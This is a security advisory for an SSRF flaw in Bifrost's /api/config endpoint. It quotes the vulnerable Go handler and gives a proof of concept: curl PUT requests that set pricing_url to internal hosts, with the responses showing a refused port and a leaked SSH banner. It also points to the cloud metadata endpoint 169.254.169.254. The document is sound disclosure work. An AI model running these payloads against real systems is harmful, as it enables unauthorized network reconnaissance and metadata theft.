Security Advisories

SSRF via `framework_config.pricing_url` in `/api/config` enables internal network reconnaissance and service banner disclosure

CVECVE-2026-11574 SeverityLOW ProductBifrost VendorMaxim Published2026-06-05

Summary

The PUT /api/config endpoint accepts a user-controlled framework_config.pricing_url and performs an outbound http.Get against it as an "accessibility check" before persisting the configuration. The destination is not validated, and the underlying transport error is reflected verbatim in the response body. An attacker can use this primitive to enumerate hosts and ports reachable from the Bifrost server, fingerprint non-HTTP services via their greeting banners, and reach cloud metadata endpoints from the trusted server context.

Details

Affected file: transports/bifrost-http/handlers/config.go, function updateConfig (line 193):

if payload.FrameworkConfig.PricingURL != nil && *payload.FrameworkConfig.PricingURL != modelcatalog.DefaultPricingURL {
    // Checking the accessibility of the pricing URL
    resp, err := http.Get(*payload.FrameworkConfig.PricingURL)
    if err != nil {
        logger.Warn("failed to check the accessibility of the pricing URL: %v", err)
        SendError(ctx, fasthttp.StatusInternalServerError,
            fmt.Sprintf("failed to check the accessibility of the pricing URL: %v", err))
        return
    }
    defer resp.Body.Close()
    ...
}

Two issues compound:

  1. No host/scheme/port restriction. Any URL the Bifrost process can route to is fetched, including loopback (127.0.0.1), RFC1918 ranges, link-local (169.254.169.254), and arbitrary external hosts.
  2. Verbose error reflection. The transport error is rendered into the HTTP response with %v. When the target is a non-HTTP service, Go's HTTP client surfaces the bytes it failed to parse as part of the error string, giving the attacker a banner-grabbing primitive.

The combination turns an unauthenticated or low-privilege config update into a blind plus oracle SSRF: connection state (refused vs. open vs. timeout) discloses port status, and reflected bytes disclose service identity.

PoC

Target: http://192.168.110.99:18789 (Bifrost instance). The two payloads below differ only in pricing_url.

1. Probe a closed port. A connection refused confirms the host is reachable but the port is closed.

curl --request PUT \
  --url http://192.168.110.99:18789/api/config \
  --header 'content-type: application/json' \
  --data '{
    "framework_config": {
      "id": 0,
      "pricing_url": "http://192.168.110.1:22",
      "pricing_sync_interval": 86400
    }
  }'

Response:

{
  "is_bifrost_error": false,
  "status_code": 500,
  "error": {
    "message": "failed to check the accessibility of the pricing URL: Get \"http://192.168.110.1:22\": dial tcp 192.168.110.1:22: connect: connection refused"
  }
}

2. Probe an open SSH port. The response leaks the SSH banner.

- "pricing_url": "http://192.168.110.1:22"
+ "pricing_url": "http://192.168.110.10:22"

Response:

{
  "is_bifrost_error": false,
  "status_code": 500,
  "error": {
    "message": "failed to check the accessibility of the pricing URL: Get \"http://192.168.110.10:22\": net/http: HTTP/1.x transport connection broken: malformed HTTP status code \"Ubuntu-3ubuntu0.1\""
  }
}

image.png

The reflected string Ubuntu-3ubuntu0.1 is a fragment of the SSH server's identification banner (SSH-2.0-OpenSSH_<ver> Ubuntu-3ubuntu0.1). This confirms the port is open, the service is SSH, and discloses the OS or package build, which is enough to look up known CVEs against the host.

The same primitive works against any plaintext service that emits a greeting on connect (SMTP, FTP, Redis, memcached, MySQL handshake bytes, etc.) and against cloud metadata endpoints such as http://169.254.169.254/latest/meta-data/.

Tested Version

"v1.0.0"

image-c7686d.png

curl --request GET \
  --url http://192.168.110.99:18789/api/version \
  --header 'content-type: application/json'
Zoomed image